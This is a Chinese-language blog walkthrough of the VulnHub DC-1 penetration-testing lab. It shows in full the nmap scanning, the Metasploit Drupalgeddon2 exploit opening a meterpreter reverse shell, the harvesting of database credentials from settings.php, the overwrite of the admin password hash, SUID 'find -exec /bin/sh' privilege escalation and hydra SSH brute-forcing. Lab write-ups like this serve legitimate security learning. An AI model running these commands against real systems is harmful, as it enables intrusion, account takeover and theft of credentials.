DC系列!- DC-1


typora-copy-images-to: upload


DC系列!

DC-1

参考wp:[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)_vulnhub靶场-CSDN博客

【我是菜狗自己单独做不出来】 因为还是初学者所以就当在积累经验

描述
DC-1 是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。
它旨在成为初学者的挑战,但它的难易程度取决于您的技能和知识以及您的学习能力。

要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。
有多种方法可以获得 root 权限,但是,我提供了一些包含初学者线索的标志。

总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 即可执行此操作,但是,您需要 root 权限。
根据您的技能水平,您可能可以跳过查找大多数这些标志的过程,直接获得 root 权限。
初学者可能会遇到以前从未遇到过的挑战,但只需进行 Google 搜索即可获得完成此挑战所需的信息。

扫真实IP+端口

NAT的情况下以太网适配器 
VMware Network Adapter VMnet8:
IPv4 地址 . . . . . . . . . . . . : 192.168.189.1

G:\yingge\gongjujia\Nmap>nmap 192.168.189.0/24
Nmap scan report for 192.168.189.129
Host is up (0.00074s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind

kali的网有问题:
su root 
ip a
ifconfig eth0 up
lspci | grep -i network
rfkill list  #【得到的结果两个都要是no】
dhclient -v eth0  # 替换为你的接口【就是eth0】
kali地址:
inet 192.168.189.128  netmask 255.255.255.0  broadcast 192.168.189.255

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

image-20250310221737525

利用MSF渗透【Drupal XSS漏洞(CVE-2019-6341)】

影响版本:在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本。

典型的drupal,由于我们这里是老外搭建的靶机,所以就纯kali渗透即可,启动Metersploit
MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍
msfconsole		进入MSF控制台
search 			搜索相应模块
use           	对应模块
show options  	查看信息
set RHOST  		远程主机ip
run           	攻击
2.搜索Drupal 7的漏洞
searchsploit Drupa 7

image-20250310223431747

3.进入MSF控制台搜索drupal模块
进入MSF控制台
msfconsole
搜索drupal模块
search drupal

msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > 

4.选择模块进行测试
用2018的测试
use exploit/unix/webapp/drupal_drupalgeddon2

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
5.设置靶机IP运行msf
set rhosts 192.168.189.129
运行msf
run 

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.189.129
rhosts => 192.168.189.129
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.189.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 192.168.189.129
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.129:45445) at 2025-03-11 08:48:16 -0400

6.进入shell
shell

meterpreter > shell
Process 3310 created.
Channel 1 created.
7.执行whoami
whoami 
www-data

ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php

8.发现flag1.txt文件
cat flag1.txt
Every good CMS needs a config file - and so do you.

看到flag1.txt当然要看一眼
发现让我们去看配置文件

9.使用python反弹一个交互式shell
【用python看起来会美观一点】
python -c "import pty;pty.spawn('/bin/bash')"
10.去看看drupal7配置文件
drupal7【开源的PHP内容管理系统】的配置文件路径

/var/www/sites/default/settings.php

通过了解Drupal默认安装的目录结构,我们能够了解一些最佳实践,比如下载的第3方模块和主题的放置位置,以及如何拥有不同的Drupal安装轮廓。我们来进一步的了解一下Drupal的文件夹目录:

drupal

3.1 includes

这个文件夹下面包含了Drupal通用的函数库,比如ajax、批处理、表单API、数据库API、本地化API等等。这些通用函数库,是Drupal程序运行的基石。

3.2 misc

这个文件夹下面包含了JavaScript文件,和其它各种图标和图片文件。其中JavaScript文件包括jquery.js、jquery.form.js、jquery.cookie.js、drupal.js、ajax.j、jQuery UI等等。

3.3 modules

这个文件夹下面包含了所有核心模块,一个模块对应一个文件夹,总共40个模块。最好不要乱动这个文件夹(以及除profiles和sites外的其它文件夹)下面的任何东西。对于第3方模块、主题,或者自定义的模块、主题,应该放到sites目录下。

3.4 profiles

这个文件夹下面包含一个站点的不同安装轮廓(profile)。Drupal7自带了两个profile,一个是标准化安装(standard),一个是最小化安装(minimal)。安装轮廓的主要目的是,用来自动的启用核心的或者第3方的模块,并作一些初始化设置。比如rszrama为了方便大家测试commerce模块,就提供了一个commercedev安装轮廓(https://github.com/rszrama/commercedev),使用这个profile,用户就能够方便的搭建一个电子商务测试站点。

3.5 scripts

这个文件夹下面包含了许多脚本,这些脚本可用于语法检查、清理代码、从命令行运行Drupal、使用cron处理特定情况、以及运行单元测试等等。在Drupal自身程序运行过程中,调用不到这些脚本;这里面都是一些shell和Perl的实用脚本。

3.6 sites

这个文件夹下面用来放置Drupal的配置文件、第3方模块与主题、自定义模块与主题等等。你从第3方模块库中下载的模块,通常都放在sites/all/modules/standard下面;而你自己编写的模块,则放在sites/all/modules/custom目录下面。我们对Drupal所进行的任何修改,基本上都放在这个文件夹下进行。

在sites下面有一个名为default的文件夹,里面包含了Drupal默认配置文件— default.settings.php。在Drupal安装过程中,系统将会基于你提供的数据库帐号信息和这个默认文件,为你自动创建一个settings.php文件。对于多站点安装,配置文件通常位于sites/www.example.com/settings.php。

另外sites/default/files通常用作Drupal文件系统所在的目录。Web服务器需要具有这个子目录的读写权限。默认情况下,Drupal在安装时会自动为你创建这个文件夹,并检查是否设置了相应的权限。

3.7 themes

这个文件夹下面包含了Drupal的模板引擎和默认主题。这里的默认主题有bartik、garland、seven等等。你下载的第3方主题以及自己创建的主题,不能放在这个位置,而应该放在sites/all/themes目录下面。

3.8 authorize.php

这个PHP文件里面包含了运行认证文件操作的管理脚本。通过settings.php中的全局变量killswitch以及’administer software updates’权限,可以控制对这个文件中脚本的访问。

3.9 cron.php

这个PHP文件用于执行定时任务,比如清理过期的缓存数据,以及计算统计信息。Drupal7在运行定时任务时,首先会检查cron_key是否正确,从而避免cron.php被恶意的调用执行。

3.10 index.php

这个PHP文件是Drupal处理http请求的主入口程序。它就相当于一个路由器,用来将程序的执行控制权分发给合适的处理器上,而后者会输出相应的页面内容。

3.11 install.php:

这个PHP文件是Drupal安装器的主入口程序。

3.12 update.php:

这个PHP文件是Drupal升级时的主入口程序。通过设置settings.php中的全局变量update_free_access,可以绕过升级时的权限检查。

3.13 xmlrpc.php

这个PHP文件用来接收XML-RPC请求,如果你的网站没有用到XML-RPC,那么可以将这个文件从中删除。

3.14 robots.txt

这个文件是搜索引擎爬虫排除标准的默认实现。在这个文件中,你可以定义搜索引擎爬虫能够访问哪些页面,不能访问哪些页面。

此外,.htaccess文件是apache的相关配置文件;而web.config则是IIS的配置文件,它是Drupal7中新增的一个文件。其余文件则是相关的文档文件。

11.找到flag2
那就去配置文件看一眼
cd /var/www/sites/default/
ls
cat settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *【译】暴力破解和字典攻击并不是获得访问(并且你会需要访问)的唯一途径。
 *你可以用这些凭证做什么?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

注意这里3306端口是没开的
所以先别想着用工具Navicat去撬开)
怎么你mysql命令全忘了!补药啊!
12.进mysql然后找到密码登录站点
mysql的一些命令
1)输入密码 进入MySql数据库
www-data@DC-1:/var/www$ mysql -u dbuser -p
mysql -u dbuser -p
Enter password: R0ck3t

2)show databases;   (查看有多少个数据库,注意:databases 后面带 's')

3)use drupaldb;   (使用 drupaldb 数据库)

4)show tables;  (查看当前数据库下有那些表) 

5)show columns from users;  (查看表中有那些列,users是表名)
更便捷的方式是:describe users;

6) quit;(退出mysql命令行)

image-20250311160535849

置换drupal密码

分享:忘记Drupal的管理员密码的解决办法(http://drupalchina.cn/node/2128)

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法

在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

php scripts/password-hash.sh admin

输出:

password: admin hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

www-data@DC-1:/var/www$ php scripts/password-hash.sh admin
php scripts/password-hash.sh admin
password: admin                 hash: $S$D31dk0WI6yCpgXuwlrfoSxxYlMPexNkq06hCCpXJ.w92rTsMY4gr

然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

现在的用户名/密码:admin/admin

www-data@DC-1:/var/www$ mysql -u dbuser -p
mysql -u dbuser -p
Enter password: R0ck3t

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 151
Server version: 5.5.60-0+deb7u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use drupaldb
use drupaldb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> update users set pass="$S$D31dk0WI6yCpgXuwlrfoSxxYlMPexNkq06hCCpXJ.w92rTsMY4gr" where name="admin";
<SxxYlMPexNkq06hCCpXJ.w92rTsMY4gr" where name="admin";                       
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

登上网站就开始一个翻

http://192.168.189.129/user#overlay=admin/

image-20250311162208523

13.发现flag3

http://192.168.189.129/user#overlay=admin/contentimage-20250311162104826

flag3内容:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
-exec
大致意思是提权并提示 -exec,想到suid提权 find 命令【不是戈门你怎么就想到了的?】

Linux 常用的提权方法有下面几种【10种】:
    passwd文件提权
    shadow文件提权
    SUID可执行文件提权
    Cron Jobs定时任务提权
    通配符注入提权
    sudo滥用提权
    敏感文件提权
    跳板用户提权
    Linux内核漏洞提权
    暴力破解提权
14.SUID提权
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null

touch 666
ls
find / -name 666 -exec "whoami" \;

find / -name 666 -exec "/bin/sh" \;   
whoami
ls
cd /root
ls


www-data@DC-1:/var/www$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
www-data@DC-1:/var/www$ 

www-data@DC-1:/var/www$ whoami
whoami
www-data
www-data@DC-1:/var/www$ touch 666
ls
find / -name 666 -exec "whoami" \;
touch 666
ls
www-data@DC-1:/var/www$ ls
find / -name 666 -exec "whoami" \;
666                 LICENSE.txt      flag1.txt    profiles    web.config
COPYRIGHT.txt       MAINTAINERS.txt  includes     robots.txt  xmlrpc.php
INSTALL.mysql.txt   README.txt       index.php    scripts
INSTALL.pgsql.txt   UPGRADE.txt      install.php  sites
INSTALL.sqlite.txt  authorize.php    misc         themes
INSTALL.txt         cron.php         modules      update.php
www-data@DC-1:/var/www$ find / -name 666 -exec "whoami" \;
root
www-data@DC-1:/var/www$ 
15.看flag4【/home/flag4/flag4.txt】
# cd flag4
cd flag4
# ls
ls
flag4.txt
# cat flag4.txt
cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?
16.看thefinalflag【路径:/root/thefinalflag.txt】
# cd /root
cd /root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
# 
17.后续?

此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

www-data@DC-1:/var/www$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

hydra

hydra -l flag4 -P /root/pass.txt ssh://192.168.189.129
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
理论上是可行的,但是我的字典好像不是很好【最后的密码是orange】

image-20250311175514514

image-20250311175631014

链接

简谈SUID提权 - FreeBuf网络安全行业门户

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值